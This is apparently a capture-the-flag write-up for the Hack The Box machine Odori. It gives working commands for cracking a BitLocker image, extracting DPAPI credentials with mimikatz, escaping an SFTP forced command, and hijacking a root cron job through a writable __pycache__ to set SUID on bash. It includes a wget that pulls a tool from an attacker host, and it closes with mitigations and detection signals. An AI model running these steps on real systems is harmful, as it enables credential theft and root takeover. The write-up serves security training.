Overview#
Odori is a medium-difficulty Linux machine that blends Windows forensics with Linux privilege escalation. The foothold is not found on the live host at all - an anonymous Samba share points to a BitLocker-encrypted .vmdk disk image that has to be cracked offline, mounted, and mined for Windows secrets. Inside the image, DPAPI-protected credentials for the svc_backup service account are recovered through a chain of standard offline techniques (hive parsing, an offline Administrator password reset, and mimikatz DPAPI decryption).
Those credentials are valid over SSH, but the account is locked into SFTP by an sshd_config ForceCommand directive. Because the forced wrapper script is writable by the service account itself, it can be overwritten via SFTP to spawn a real shell, yielding the user flag.
Privilege escalation comes from a root cron job that runs a Python archiver. The code itself is sound, but the __pycache__ directory holding its compiled bytecode is world-writable. By patching the cached .pyc so that the hardcoded /usr/bin/tar path points to an attacker-controlled binary - while preserving the original string length so the bytecode stays valid - the cron job is coerced into running a payload as root that sets the SUID bit on /bin/bash.
1
2
3
4
5
6
7
8
| recon -> smb anon (backup share) -> info.txt -> download file02.vmdk
-> bitlocker2john + john -> volume password -> mount disk (qemu-nbd + dislocker)
-> backup.ps1 + SAM/SYSTEM/SECURITY hives -> pypykatz
-> chntpw resets Administrator -> boot VM -> mimikatz sekurlsa::dpapi
-> DPAPI cred decrypt -> svc_backup:Napping2Curator
-> SSH blocked by ForceCommand -> SFTP -> overwrite /opt/restrict -> shell (user flag)
-> pspy -> root cron /opt/archiver/app.py -> world-writable __pycache__
-> patch helper.cpython-310.pyc tar path -> malicious tar sets SUID on bash -> root (root flag)
|
Reconnaissance#
A full TCP scan with service detection shows only three ports: SSH and a Samba instance.
1
| nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.10.10.x
|
1
2
3
4
5
| PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
With no web service in sight, SMB is the natural starting point. The NetBIOS name ODORI and the presence of Samba on a Linux host suggest file shares that may allow anonymous (null session) access.
1
| smbclient -L //10.10.10.x
|
1
2
3
4
5
| Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
backup Disk Server Backups
IPC$ IPC IPC Service (odori server (Samba, Ubuntu))
|
The backup share accepts anonymous access and contains a single file, info.txt.
1
2
| smbclient //10.10.10.x/backup
smb: \> get info.txt
|
1
| Please download the .vmdk file linked in the machine description.
|
The share does not hold the exploit directly; it redirects the enumeration toward an out-of-band artifact, the file02.vmdk disk image provided with the machine (roughly 20 GB, also offered as a direct download). The remaining footholding work happens entirely offline against that image.
Initial Access#
Cracking BitLocker#
Attempting to boot file02.vmdk fails because the volume is BitLocker-encrypted. When BitLocker is configured on a system without a TPM, the unlock material is derived from a user-supplied password, and that structure can be extracted and attacked offline.
1
2
| bitlocker2john -i file02.vmdk | tee hash
john --format=bitlocker hash /usr/share/wordlists/rockyou.txt
|
The password cracks quickly:
Unlocking and mounting the image on Linux#
With the password recovered, the volume needs to be mounted to extract Windows artifacts. One route is to attach the .vmdk as a secondary disk to an existing Windows host and run manage-bde -unlock E: -Password. The same result can be achieved entirely on Linux using qemu-nbd to expose the .vmdk as a block device and dislocker to transparently decrypt the BitLocker partition.
1
2
3
4
5
6
7
8
9
10
11
12
13
| sudo apt install qemu-utils dislocker ntfs-3g
# expose the .vmdk as a block device
sudo modprobe nbd max_part=8
sudo qemu-nbd -c /dev/nbd0 file02.vmdk
lsblk /dev/nbd0 # identify the BitLocker partition (e.g. /dev/nbd0p2)
# decrypt with the cracked password
sudo mkdir -p /mnt/bitlocker /mnt/windows
sudo dislocker -u"123456789" /dev/nbd0p2 /mnt/bitlocker
# mount the decrypted NTFS virtual file read-write
sudo mount -o loop,rw /mnt/bitlocker/dislocker-file /mnt/windows
|
Mounting read-write matters because the registry hives later need to be edited in place with chntpw. The full Windows filesystem is now available under /mnt/windows, with the registry hives at /mnt/windows/Windows/System32/config/.
Harvesting Windows secrets from the image#
A PowerShell backup script is found at C:\Scripts\backup.ps1. It documents a backup workflow that pushes data to \\odori.vl\backup and, in a commented SFTP block, names the service account and even the shape of its credential usage.
1
2
3
4
5
| $SFTPServer = "odori.vl"
$SFTPPort = 22
$SFTPUser = "svc_backup"
$SFTPPassword = "***"
$SFTPRemoteFolder = "/backup"
|
This confirms svc_backup is the account used to transfer data to the target. The password itself is masked, so it has to be recovered from Windows credential storage.
The registry hives are parsed offline to enumerate local accounts and keys:
1
| pypykatz registry --sam SAM --security SECURITY SYSTEM
|
This confirms svc_backup as a local account, but its NT hash does not fall to wordlist cracking. The more promising target is DPAPI: two credential blobs live under the SYSTEM profile.
1
2
3
| E:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\
DFBE70A7E5CC19A398EBF1B96859CE5D
FB28D44A1080F4C10BF3530DD6D7B9E1
|
DPAPI credential blobs are encrypted with a master key that is itself protected by the owning user’s secret. Rather than reconstruct the key chain purely offline, the simpler route is to reset the Administrator password on the image and boot it, so the credentials can be decrypted live with mimikatz. chntpw operates directly on the SAM hive and can blank or reset a local account password offline, which is exactly what is needed to log in to the booted image without knowing the original password.
1
2
3
| | RID -|---------- Username ------------| Admin? |- Lock? --|
| 01f4 | Administrator | ADMIN | |
| 03e8 | svc_backup | | |
|
After resetting Administrator, the modified SAM is written back, the disk is detached and attached to a fresh VM, and the image is booted. Logging in as Administrator, the SYSTEM DPAPI master key is pulled from LSASS and used to decrypt the credential blob.
1
2
3
4
| privilege::debug
token::elevate
sekurlsa::dpapi
dpapi::cred /masterkey:<masterkey> /in:C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\FB28D44A1080F4C10BF3530DD6D7B9E1 /unprotect
|
1
2
| UserName : FILE02\svc_backup
CredentialBlob : Napping2Curator
|
The plaintext password for svc_backup is Napping2Curator.
Bypassing the SFTP ForceCommand restriction#
The credentials authenticate over SSH, but the session closes immediately after authentication:
This is the signature of a forced command. Logging in over SFTP (which the backup.ps1 script already hinted was the intended access method) works, and the server-side SSH configuration explains the restriction.
1
2
3
4
| Match group svc_backup
#ChrootDirectory /backup
ForceCommand /opt/restrict /home/%u
AllowTcpForwarding no
|
Every svc_backup login is forced through /opt/restrict, which simply chains into the SFTP server:
1
2
| #!/bin/bash
/usr/lib/openssh/sftp-server -d $1
|
The critical misconfiguration is that the wrapper script is owned and writable by svc_backup itself, so the user controls the very program that is supposed to constrain them. Overwriting it with a script that launches an interactive shell turns the forced command into a foothold.
1
2
| #!/bin/bash
/bin/bash
|
The modified wrapper is uploaded over SFTP, replacing the original.
1
| sftp> put restrict /opt/restrict
|
A fresh SSH login now runs /bin/bash instead of the SFTP server, landing an interactive shell.
1
2
| svc_backup@odori:~$ cat user.txt
[REDACTED_USER_FLAG]
|
Privilege Escalation#
Finding the root-owned archiver#
sudo -l is not available to svc_backup, and the SUID set is the default Ubuntu list. Filesystem enumeration instead highlights a backup/archive workflow:
1
2
| drwxr-xr-x 2 root root 4096 archive
drwxrwxr-x 2 svc_backup root 4096 backup
|
/backup is writable by svc_backup and /archive is root-owned, which points to a scheduled process moving files between them. Running pspy confirms a root cron job firing every minute:
1
| CMD: UID=0 PID=1581 | python3 /opt/archiver/app.py
|
The archiver walks /backup, and for any file older than three years it hands the path to a helper for archiving.
1
2
3
4
5
| # /opt/archiver/app.py
threshold_date = datetime.now() - timedelta(days=3*365)
...
if file_mod_time < threshold_date:
tar_and_move_files(file_path, archive_dir)
|
1
2
3
4
5
6
| # /opt/archiver/helper.py
def tar_and_move_files(file_path, archive_dir):
...
subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C",
os.path.dirname(file_path), os.path.basename(file_path)])
os.remove(file_path)
|
Both source files are root-owned and read-only to svc_backup, and the code has no obvious flaw: the tar path is absolute, so there is no PATH hijack.
Hijacking the compiled bytecode#
The weakness is in directory permissions rather than the source. app.py imports helper, and Python caches imported modules as compiled bytecode. The cache directory is world-writable:
1
2
| drwxr-xrwx 2 root root 4096 __pycache__
-rw-r--r-- 1 root root 566 helper.cpython-310.pyc
|
When the root cron job runs app.py, Python loads helper.cpython-310.pyc from this directory. Because the directory is writable, the cached bytecode can be edited, and the running code will reflect the change without touching the protected .py source.
The cleanest edit avoids any real bytecode surgery. The .pyc marshal format encodes each string with its length, so replacing a string with one of a different byte length corrupts the file. The trick is to swap /usr/bin/tar for a path of the exact same length, /tmp/tar/tar (both are 12 bytes), so the structure stays intact and Python still loads it.
1
2
3
4
| mkdir /tmp/tar
# /tmp/tar/tar: payload that sets SUID on bash
chmod +x /tmp/tar/tar
sed -i 's|/usr/bin/tar|/tmp/tar/tar|' /opt/archiver/__pycache__/helper.cpython-310.pyc
|
The replacement binary is a simple script that makes /bin/bash setuid root:
1
2
| #!/bin/bash
chmod u+s /bin/bash
|
To trigger the archiver, a file with a modification time older than three years is dropped into /backup, satisfying the threshold_date check.
1
| touch -d '2015-08-09 13:38:36.000000000 +0000' /backup/ancient
|
On the next cron cycle, the root process imports the patched helper, calls /tmp/tar/tar instead of the real tar, and the payload runs as root. /bin/bash gains the SUID bit:
1
| -rwsr-xr-x 1 root root 1396520 /bin/bash
|
Executing bash with -p preserves the effective root UID, producing a root shell.
1
2
| bash-5.1# cat /root/root.txt
[REDACTED_ROOT_FLAG]
|
Detection and Mitigation#
| Stage | Root cause | Mitigation |
|---|
| Anonymous SMB share exposing a sensitive artifact | Guest access enabled on the backup share | Disable anonymous/guest SMB access; require authentication and scope share permissions |
| BitLocker volume cracked offline | TPM-less BitLocker with a weak, wordlist-present password | Bind BitLocker to a TPM and enforce strong passphrases; never distribute real encrypted volumes containing secrets |
| DPAPI credential recovery | Reusable service-account secret stored in SYSTEM DPAPI blobs on a reachable disk image | Use gMSA/managed credentials, rotate secrets, and keep backup media off publicly reachable shares |
| SFTP ForceCommand bypass | ForceCommand wrapper writable by the restricted user | Make the forced script root-owned and non-writable by the account; prefer ChrootDirectory with an internal-sftp subsystem |
| Root cron bytecode hijack | World-writable __pycache__ for a root-executed module | Remove group/other write on /opt/archiver and __pycache__; precompile bytecode as root and lock down permissions |
| SUID bash escalation | Payload sets the SUID bit on /bin/bash | Monitor for SUID changes on core binaries; run scheduled jobs with least privilege |
Detection signals:
- SMB server logs showing anonymous session establishment and reads from the
backup share. - SSH sessions for
svc_backup immediately followed by an interactive shell process instead of sftp-server, or writes to /opt/restrict over SFTP. - File integrity monitoring alerts on changes to
/opt/restrict and to files under /opt/archiver/__pycache__. - The host runs
auditd with the laurel forwarder (/etc/laurel/config.toml), so EXECVE records would capture the cron child invoking /tmp/tar/tar and the chmod u+s /bin/bash call. - A sudden
-rwsr-xr-x on /bin/bash, and new files appearing in /backup with implausibly old modification timestamps.
Lessons Learned#
- Offline artifacts are part of the attack surface. A share that only points to a disk image still exposes everything inside that image, including Windows credential stores.
- TPM-less BitLocker reduces to password strength. An encrypted volume protected by a
rockyou password offers no meaningful protection, and it can be unlocked and mounted purely on Linux with qemu-nbd and dislocker. ForceCommand only restricts a user if the forced program is outside that user’s control. A wrapper the account can overwrite is not a restriction at all.- Absolute paths in code do not guarantee safety when the surrounding cache is writable. Python will happily execute tampered
.pyc files, so bytecode directories deserve the same permission scrutiny as source. - Scheduled root jobs should run with the minimum privileges and from fully root-owned, non-writable paths; any writable component in the chain becomes a root execution primitive.
Command Reference#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
| # Recon
nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.10.10.x
smbclient -L //10.10.10.x
smbclient //10.10.10.x/backup # get info.txt
# Crack the BitLocker image
bitlocker2john -i file02.vmdk | tee hash
john --format=bitlocker hash /usr/share/wordlists/rockyou.txt # -> 123456789
# Unlock + mount on Linux
sudo modprobe nbd max_part=8
sudo qemu-nbd -c /dev/nbd0 file02.vmdk
lsblk /dev/nbd0
sudo dislocker -u"<password>" /dev/nbd0p2 /mnt/bitlocker
sudo mount -o loop,rw /mnt/bitlocker/dislocker-file /mnt/windows
# Parse hives + recover DPAPI credential
pypykatz registry --sam SAM --security SECURITY SYSTEM
chntpw -i SAM # reset Administrator, boot the VM
# in mimikatz on the booted image:
# privilege::debug ; token::elevate ; sekurlsa::dpapi
# dpapi::cred /masterkey:<masterkey> /in:...\Credentials\FB28D44A1080F4C10BF3530DD6D7B9E1 /unprotect
# -> svc_backup : Napping2Curator
# ForceCommand bypass
sftp [email protected] # password: <password>
# get /etc/ssh/sshd_config
# get /opt/restrict
cat > restrict <<'EOF'
#!/bin/bash
/bin/bash
EOF
# sftp> put restrict /opt/restrict
ssh [email protected] # now drops to an interactive shell
cat ~/user.txt
# Privilege escalation
wget http://10.10.14.x/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64
mkdir /tmp/tar
cat > /tmp/tar/tar <<'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF
chmod +x /tmp/tar/tar
sed -i 's|/usr/bin/tar|/tmp/tar/tar|' /opt/archiver/__pycache__/helper.cpython-310.pyc
touch -d '2015-08-09 13:38:36.000000000 +0000' /backup/ancient
# wait for the cron cycle, then:
/bin/bash -p
cat /root/root.txt
|
Based on public write-ups of the Hack The Box machine Odori.